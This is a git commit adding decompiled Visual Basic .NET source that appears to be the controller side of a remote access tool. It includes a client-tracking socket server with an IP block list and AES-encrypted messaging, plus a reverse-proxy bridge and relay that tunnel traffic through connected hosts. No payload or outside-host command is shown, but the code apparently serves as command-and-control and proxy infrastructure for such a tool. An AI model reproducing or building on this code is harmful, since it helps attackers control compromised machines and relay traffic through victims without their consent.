initial commit

This commit is contained in:
i2p
2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
+61
View File
@@ -0,0 +1,61 @@
Imports System
Imports System.Net
Imports System.Net.Sockets
Imports System.Threading
' Token: 0x02000021 RID: 33
Public Class BridgeEndPoint
' Token: 0x0600026D RID: 621 RVA: 0x0001332C File Offset: 0x0001152C
Public Sub New(localport As Integer, remoteIP As String, key As String)
bool_0 = True
Try
string_1 = key
tcpListener_0 = New TcpListener(IPAddress.Any, localport)
tcpListener_0.Start(20)
string_0 = remoteIP
Dim thread As Thread = New Thread(AddressOf method_0)
thread.Start()
Catch ex As Exception
Close()
End Try
End Sub
Private Sub method_0()
Try
While bool_0
Dim tcpClient_ As TcpClient = tcpListener_0.AcceptTcpClient()
While tcpClient_0 Is Nothing
Thread.Sleep(100)
End While
Dim tcpClient_2 As TcpClient = tcpClient_0
tcpClient_0 = Nothing
Dim [class] As Relay = New Relay()
[class].method_0(tcpClient_, tcpClient_2)
tcpClient_1 = tcpClient_2
Thread.Sleep(100)
End While
Catch ex As Exception
End Try
End Sub
Public Shared Sub Close()
Try
tcpListener_0.[Stop]()
bool_0 = False
Catch ex As Exception
End Try
End Sub
Private Shared tcpListener_0 As TcpListener
Private string_0 As String
Public string_1 As String
Public tcpClient_0 As TcpClient
Public tcpClient_1 As TcpClient
Private Shared bool_0 As Boolean
End Class
+156
View File
@@ -0,0 +1,156 @@
Imports System.IO
Imports System.Net.Sockets
Public Class Client
Public ClientSocket As Socket = Nothing
Public IsConnected As Boolean = False
Public BufferLength As Long = Nothing
Public BufferLengthReceived As Boolean = False
Public Buffer() As Byte = Nothing
Public MS As MemoryStream = Nothing
Public IP As String = Nothing
Public LV As ListViewItem = Nothing
Public SendSync As Object = Nothing
Public ID As String = Nothing
Sub New(ByVal CL As Socket)
ClientSocket = CL
ClientSocket.ReceiveBufferSize = 50 * 1024
ClientSocket.SendBufferSize = 50 * 1024
IsConnected = True
BufferLength = -1
Buffer = New Byte(0) {}
MS = New MemoryStream
IP = CL.RemoteEndPoint.ToString
SendSync = New Object()
If SettingsHelper.Blocked.Contains(IP.Split(":")(0)) Then
isDisconnected()
Return
Else
ClientSocket.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), Nothing)
End If
End Sub
Async Sub BeginReceive(ByVal ar As IAsyncResult)
If Not IsConnected OrElse Not ClientSocket.Connected Then
isDisconnected()
Return
End If
Try
Dim Received As Integer = ClientSocket.EndReceive(ar)
If Received > 0 Then
If BufferLength = -1 Then
If Buffer(0) = 0 Then
BufferLength = BS(MS.ToArray)
MS.Dispose()
MS = New MemoryStream
If BufferLength = 0 Then
BufferLength = -1
ClientSocket.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), ClientSocket)
End If
Buffer = New Byte(BufferLength - 1) {}
Else
Await MS.WriteAsync(Buffer, 0, Buffer.Length)
End If
Else
Await MS.WriteAsync(Buffer, 0, Received)
If (MS.Length = BufferLength) Then
Dim Read As New Messages
Read.Read(Me, MS.ToArray)
SettingsHelper.Received += MS.Length
BufferLength = -1
MS.Dispose()
MS = New MemoryStream
Buffer = New Byte(0) {}
Else
Buffer = New Byte(BufferLength - MS.Length - 1) {}
End If
End If
Else
isDisconnected()
Return
End If
ClientSocket.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), ClientSocket)
Catch ex As Exception
Debug.WriteLine("BeginReceive " & ex.Message)
isDisconnected()
Return
End Try
End Sub
Async Sub BeginSend(ByVal Data As Byte())
SyncLock SendSync
If Not IsConnected OrElse Not ClientSocket.Connected Then
isDisconnected()
Exit Sub
End If
Try
Using MS As New MemoryStream
Dim b As Byte() = AES_Encryptor(Data)
Dim L As Byte() = SB(b.Length & CChar(vbNullChar))
MS.Write(L, 0, L.Length)
MS.Write(b, 0, b.Length)
ClientSocket.Poll(-1, SelectMode.SelectWrite)
ClientSocket.BeginSend(MS.ToArray, 0, MS.Length, SocketFlags.None, New AsyncCallback(AddressOf EndSend), Nothing)
SettingsHelper.Sent += MS.Length
End Using
Catch ex As Exception
Debug.WriteLine("BeginSend " & ex.Message)
isDisconnected()
End Try
End SyncLock
End Sub
Sub EndSend(ByVal ar As IAsyncResult)
Try
ClientSocket.EndSend(ar)
Catch ex As Exception
Debug.WriteLine("EndSend " & ex.Message)
isDisconnected()
End Try
End Sub
Delegate Sub _isDisconnected()
Sub isDisconnected()
IsConnected = False
Try
If LV IsNot Nothing Then
If Messages.F.Lv1.InvokeRequired Then
Messages.F.Lv1.BeginInvoke(New _isDisconnected(AddressOf isDisconnected))
Exit Sub
Else
LV.Remove()
SettingsHelper.Online.Remove(Me)
LVLog(IP.Split(":")(0) & " Disconnected", Color.Red)
End If
End If
Catch ex As Exception
Debug.WriteLine("L.Remove " & ex.Message)
End Try
Try
ClientSocket.Close()
ClientSocket.Dispose()
Catch ex As Exception
Debug.WriteLine("C.Close " & ex.Message)
End Try
Try
MS.Dispose()
Catch ex As Exception
Debug.WriteLine("MS.Dispose " & ex.Message)
End Try
End Sub
End Class
+121
View File
@@ -0,0 +1,121 @@
Imports System
Imports System.Collections.Generic
Imports System.Diagnostics
Imports System.IO
Imports System.Media
Imports System.Net
Imports System.Net.Sockets
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Public Class Listener
Public Sub New()
string_0 = "|"
End Sub
Private Shared thread As Threading.Thread
Private Shared tcpListener As TcpListener
Public Sub method_0(int_2 As Integer, int_3 As Integer, Port As Integer)
int_0 = int_2
int_1 = int_3
tcpListener = New TcpListener(IPAddress.Any, Port)
tcpListener.Start()
thread = New Thread(AddressOf method_1)
thread.Start()
End Sub
Public Shared Sub Close()
Try
tcpListener.[Stop]()
thread?.Abort()
Catch
End Try
End Sub
Private Sub method_1()
While True
Try
Dim parameter As TcpClient = tcpListener.AcceptTcpClient()
Dim thread As Thread = New Thread(AddressOf method_15)
thread.Start(parameter)
Thread.Sleep(50)
Catch ex As Exception
End Try
End While
End Sub
Private Sub method_4(tcpClient_0 As TcpClient)
Try
Dim stream As NetworkStream = tcpClient_0.GetStream()
Dim array As Byte() = New Byte(0) {}
Dim stringBuilder As StringBuilder = New StringBuilder()
While True
Dim num As Integer = stream.Read(array, 0, array.Length)
If num = 0 Then
Exit While
End If
stringBuilder.Append(Encoding.ASCII.GetString(array, 0, num))
If stringBuilder.ToString().EndsWith(vbCrLf & vbCrLf) Then
GoTo IL_60
End If
End While
tcpClient_0.Close()
stream.Close()
Return
IL_60:
stringBuilder = New StringBuilder(Uri.UnescapeDataString(stringBuilder.ToString()))
If stringBuilder.ToString().Contains("RProxy") Then
Dim text15 As String = stringBuilder.ToString().Substring(stringBuilder.ToString().IndexOf(":") + 1)
text15 = text15.Substring(0, text15.IndexOf(vbCrLf))
Dim flag As Boolean = False
Try
For Each gclass As BridgeEndPoint In Main.list_4
If Operators.CompareString(gclass.string_1, text15, False) = 0 Then
gclass.tcpClient_0 = tcpClient_0
flag = True
Exit For
End If
Next
Finally
Dim enumerator7 As List(Of BridgeEndPoint).Enumerator
CType(enumerator7, IDisposable).Dispose()
End Try
If Not flag Then
tcpClient_0.Close()
stream.Close()
End If
Else
tcpClient_0.Close()
stream.Close()
End If
IL_11B9:
Catch ex5 As Exception
tcpClient_0.Close()
End Try
End Sub
Private Sub method_15(object_0 As Object)
method_4(CType(object_0, TcpClient))
End Sub
Public int_0 As Integer
Public int_1 As Integer
Private string_0 As String
End Class
+84
View File
@@ -0,0 +1,84 @@
Imports System
Imports System.Diagnostics
Imports System.Net.Sockets
Imports System.Threading
Friend Class Relay
Private Shared thread As Threading.Thread
Private Shared thread2 As Threading.Thread
Public Sub method_0(tcpClient_2 As TcpClient, tcpClient_3 As TcpClient)
tcpClient_0 = tcpClient_2
tcpClient_1 = tcpClient_3
networkStream_0 = tcpClient_2.GetStream()
networkStream_1 = tcpClient_3.GetStream()
thread = New Thread(AddressOf method_1)
thread2 = New Thread(AddressOf method_2)
thread.Start()
thread2.Start()
End Sub
Public Shared Sub Close()
Try
thread?.Abort()
thread2?.Abort()
Catch
End Try
End Sub
Private Sub method_1()
Try
Dim array As Byte() = New Byte(24576) {}
While True
Dim num As Integer = networkStream_0.Read(array, 0, array.Length)
If num = 0 Then
Exit While
End If
networkStream_1.Write(array, 0, num)
networkStream_1.Flush()
End While
networkStream_0.Close()
tcpClient_0.Close()
tcpClient_1.Close()
networkStream_1.Close()
Catch ex As Exception
tcpClient_0.Close()
tcpClient_1.Close()
End Try
End Sub
Private Sub method_2()
Try
Dim array As Byte() = New Byte(24576) {}
While True
Dim num As Integer = networkStream_1.Read(array, 0, array.Length)
If num = 0 Then
Exit While
End If
networkStream_0.Write(array, 0, num)
networkStream_0.Flush()
End While
networkStream_0.Close()
tcpClient_0.Close()
tcpClient_1.Close()
networkStream_1.Close()
Catch ex As Exception
tcpClient_0.Close()
tcpClient_1.Close()
End Try
End Sub
Private tcpClient_0 As TcpClient
Private tcpClient_1 As TcpClient
Private networkStream_0 As NetworkStream
Private networkStream_1 As NetworkStream
End Class
+44
View File
@@ -0,0 +1,44 @@
Imports System.Net.Sockets
Imports System.Net
Public Class Server
Public S As Socket
Public allDone As New Threading.ManualResetEvent(False)
Public Sub Start(ByVal Port As Integer)
Try
S = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
Dim IpEndPoint As IPEndPoint = New IPEndPoint(IPAddress.Any, Port)
S.ReceiveBufferSize = 50 * 1024
S.SendBufferSize = 50 * 1024
S.Bind(IpEndPoint)
S.Listen(500)
S.BeginAccept(New AsyncCallback(AddressOf EndAccept), Nothing)
If SettingsHelper.NOTEF = True Then
Main.NotifyIcon1.BalloonTipText = "SocketStarted.. " & Port
Main.NotifyIcon1.ShowBalloonTip(100)
End If
Catch ex As Exception
MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1)
Environment.Exit(0)
End Try
End Sub
Sub EndAccept(ByVal ar As IAsyncResult)
Try
Dim C As Client = New Client(S.EndAccept(ar))
Catch ex As Exception
Debug.WriteLine("EndAccept " & ex.Message)
Finally
S.BeginAccept(New AsyncCallback(AddressOf EndAccept), Nothing)
End Try
End Sub
End Class